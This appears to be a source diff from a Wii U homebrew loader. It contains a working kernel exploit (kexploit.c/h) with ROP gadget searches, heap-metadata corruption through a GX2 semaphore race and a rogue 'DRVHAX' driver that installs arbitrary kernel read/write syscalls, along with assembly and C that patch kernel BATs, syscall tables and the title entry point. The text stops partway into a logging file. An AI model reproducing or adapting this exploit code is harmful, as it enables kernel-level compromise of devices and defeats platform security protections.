ori r4, r4, 0x8ba6
stw r4, 0x08(r3)
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
ori r4, r4, BAT4U_VAL@h
stw r4, 0x0C(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
ori r4, r4, BAT4U_VAL@l
stw r4, 0x10(r3)
lis r4, 0x7cf0 # mtspr 560, r7
ori r4, r4, 0x8ba6
stw r4, 0x14(r3)
lis r4, 0x7c00 # eieio
ori r4, r4, 0x06ac
stw r4, 0x18(r3)
lis r4, 0x4c00 # isync
ori r4, r4, 0x012c
stw r4, 0x1C(r3)
lis r4, 0x7ce8 # mflr r7
ori r4, r4, 0x02a6
stw r4, 0x20(r3)
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
stw r4, 0x24(r3)
# flush and invalidate the replaced instructions
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
dcbf 0, r3
icbi 0, r3
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
dcbf 0, r3
icbi 0, r3
sync
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
# IBATL 4
lis r3, BAT4L_VAL@h
ori r3, r3, BAT4L_VAL@l
mtspr 561, r3
# IBATU 4
lis r3, BAT4U_VAL@h
ori r3, r3, BAT4U_VAL@l
mtspr 560, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
# nop on IBATU 4 and DBAT 5 set/reset
#ifdef BAT_SET_NOP_ADDR_1
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
#endif
#ifdef BAT_SET_NOP_ADDR_2
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
#endif
#ifdef BAT_SET_NOP_ADDR_3
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
#endif
#ifdef BAT_SET_NOP_ADDR_4
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
#endif
#ifdef BAT_SET_NOP_ADDR_5
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
#endif
#ifdef BAT_SET_NOP_ADDR_6
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
#endif
#ifdef BAT_SET_NOP_ADDR_7
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
#endif
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFEE
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFEE
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
#endif
# memory barrier
eieio
isync
# restore DBAT 0 and return from interrupt
mtdbatu 0, r5
mtdbatl 0, r6
# memory barrier
eieio
isync
blr

View File

@ -0,0 +1,245 @@
#include "kexploit.h"
#include "coreinit.h"
void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
/* Exit functions */
void (*__PPCExit)();
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Init)(void *arg);
void (*GX2Shutdown)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown);
/* Init GX2 again */
GX2Init((void*)0);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xFC2A0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000};
uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000);
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20);
if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(thread, 0x1000);
DCFlushRange(stack, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0)
{
OSYieldThread();
}
/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
/* Shut down GX2 again */
GX2Shutdown();
}
/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length)
{
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++)
{
if (check1[i] != check2[i]) return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size)
{
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
{
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
{
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
{
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}

View File

@ -0,0 +1,51 @@
#ifndef KEXPLOIT_H
#define KEXPLOIT_H
#include "structs.h"
#include "types.h"
/* Wait times for CPU0 and CPU2 */
#define CPU0_WAIT_TIME 80
#define CPU2_WAIT_TIME 92
/* Gadget finding addresses */
#define JIT_ADDRESS 0x01800000
#define CODE_ADDRESS_START 0x0D800000
#define CODE_ADDRESS_END 0x0F848A0C
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
/* Browser PFID */
#define PFID_BROWSER 8
/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000
void run_kexploit(private_data_t *private_data);
/* Find a ROP gadget by a sequence of bytes */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
/* Arbitrary read and write syscalls */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
#endif /* KEXPLOIT_H */

View File

@ -0,0 +1,398 @@
#include "types.h"
#include "elf_abi.h"
#include "kexploit.h"
#include "structs.h"
#include "sd_loader.h"
#include "coreinit.h"
#define MEM_BASE 0xC0800000
#include "common.h"
#include "os_defs.h"
//! this shouldnt depend on OS
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
#define CODE_RW_BASE_OFFSET 0xC0000000
#define DATA_RW_BASE_OFFSET 0xC0000000
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
#define ADDRESS_main_entry_hook 0x0101C56C
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
#define COREINIT_DBAT0U_VAL 0xC20001FF
#define ROOTRPX_DBAT0L_VAL 0x30000012
#define COREINIT_DBAT0L_VAL 0x32000012
#define address_LiWaitIopComplete 0x01010180
#define address_LiWaitIopCompleteWithInterrupts 0x0101006C
#define address_LiWaitOneChunk 0x0100080C
#define address_PrepareTitle_hook 0xFFF184E4
#define address_sgIsLoadingBuffer 0xEFE19E80
#define address_gDynloadInitialized 0xEFE13DBC
/* Install functions */
static void InstallMain(private_data_t *private_data);
static void InstallPatches(private_data_t *private_data);
static void PrepareScreen(private_data_t *private_data);
static void ExitFailure(private_data_t *private_data, const char *failure);
static void SetupKernelSyscall(unsigned int addr);
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
/* assembly functions */
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
extern void Syscall_0x36(void);
extern void KernelPatches(void);
/* ****************************************************************** */
/* ENTRY POINT */
/* ****************************************************************** */
void __main(void)
{
/* Get coreinit handle and keep it in memory */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
/* Get our memory functions */
unsigned int* functionPointer;
void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes);
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset);
private_data_t private_data;
p_memset(&private_data, 0, sizeof(private_data_t));
private_data.coreinit_handle = coreinit_handle;
private_data.memset = p_memset;
private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
/* do kernel exploit if needed */
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
run_kexploit(&private_data);
/* Since we inited GX2 without initing the screen before do that now */
/* Without this the hbl load will have some screen corruptions */
PrepareScreen(&private_data);
/* Do SYSLaunchMenu to boot vWii */
unsigned int sysapp_handle;
void (*SYSLaunchMenu)(void) = 0;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
SYSLaunchMenu();
/* setup kernel copy data syscall */
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData);
/* Install our code now */
InstallMain(&private_data);
/* setup our own syscall and call it */
SetupKernelSyscall((unsigned int)KernelPatches);
Syscall_0x36();
/* Patch functions and our code for usage */
InstallPatches(&private_data);
/* Exit our core 0 thread to return to main */
void (*OSExitThread)(int);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSExitThread(0);
}
void PrepareScreen(private_data_t *private_data)
{
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
// Prepare screen
int screen_buf0_size = 0;
int screen_buf1_size = 0;
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
// Init screen and screen buffers
OSScreenInit();
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
// Flush the cache
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
}
void ExitFailure(private_data_t *private_data, const char *failure)
{
/************************************************************************/
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSScreenPutFontEx(1, 0, 0, failure);
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
unsigned int t1 = 0x3FFFFFFF;
while(t1--) asm volatile("nop");
private_data->_Exit(0);
}
/* *****************************************************************************
* Base functions
* ****************************************************************************/
static void SetupKernelSyscall(unsigned int address)
{
// Add syscall #0x36
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address);
// make kern_read/kern_write available in all places
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
}
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
{
/*
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
*/
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
// setup mapping based on target address
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
{
target_dbat0u = ROOTRPX_DBAT0U_VAL;
target_dbat0l = ROOTRPX_DBAT0L_VAL;
}
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
{
target_dbat0u = COREINIT_DBAT0U_VAL;
target_dbat0l = COREINIT_DBAT0L_VAL;
}
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
asm volatile("eieio; isync");
unsigned char *src_p = (unsigned char*)src;
unsigned char *dst_p = (unsigned char*)addr;
unsigned int i;
for(i = 0; i < len; i++)
{
dst_p[i] = src_p[i];
}
unsigned int flushAddr = addr & ~31;
while(flushAddr < (addr + len))
{
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
flushAddr += 0x20;
}
/*
* Restore original DBAT value
*/
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("eieio; isync");
}
static int strcmp(const char *s1, const char *s2)
{
while(*s1 && *s2)
{
if(*s1 != *s2) {
return -1;
}
s1++;
s2++;
}
if(*s1 != *s2) {
return -1;
}
return 0;
}
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC))
{
ExitFailure(private_data, "Invalid elf file");
}
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0)
{
if(addr)
*addr = shdr[i].sh_addr;
if(size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
if(fail_on_not_found)
ExitFailure(private_data, (char*)name);
return 0;
}
/* ****************************************************************** */
/* INSTALL MAIN CODE */
/* ****************************************************************** */
static void InstallMain(private_data_t *private_data)
{
// get .text section
unsigned int main_text_addr = 0;
unsigned int main_text_len = 0;
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = private_data->data_elf + section_offset;
/* Copy main .text to memory */
if(section_offset > 0)
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
// get the .rodata section
unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0)
{
unsigned char *main_rodata = private_data->data_elf + section_offset;
/* Copy main rodata to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
}
// get the .data section
unsigned int main_data_addr = 0;
unsigned int main_data_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0)
{
unsigned char *main_data = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
}
// get the .bss section
unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0)
{
unsigned char *main_bss = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
}
}
/* ****************************************************************** */
/* INSTALL PATCHES */
/* All OS specific stuff is done here */
/* ****************************************************************** */
static void InstallPatches(private_data_t *private_data)
{
OsSpecifics osSpecificFunctions;
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
unsigned int bufferU32;
/* Pre-setup a few options to defined values */
bufferU32 = VER;
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
bufferU32 = 0xDEADC0DE;
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
bufferU32 = 0;
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
/* Related to vwii elf choice */
SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_LOW, (void*)0xF5E70000, 4);
SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_HIGH, (void*)0xF5E70004, 4);
unsigned int jump_main_hook = 0;
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete;
osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts;
osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk;
osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook;
osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer;
osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized;
osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk;
//! pointer to main entry point of a title
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
//! at this point we dont need to check header and stuff as it is sure to be OK
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
unsigned int mainEntryPoint = ehdr->e_entry;
//! Install our entry point hook
unsigned int repl_addr = ADDRESS_main_entry_hook;
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
bufferU32 = 0x48000003 | jump_addr;
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
// flush caches and invalidate instruction cache
private_data->ICInvalidateRange((void*)(repl_addr), 4);
}

View File

@ -0,0 +1,74 @@
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include "common/common.h"
#include "dynamic_libs/socket_functions.h"
#include "logger.h"
static int log_socket = 0;
void log_init(void)
{
if(log_socket > 0)
return;
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0)
return;
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
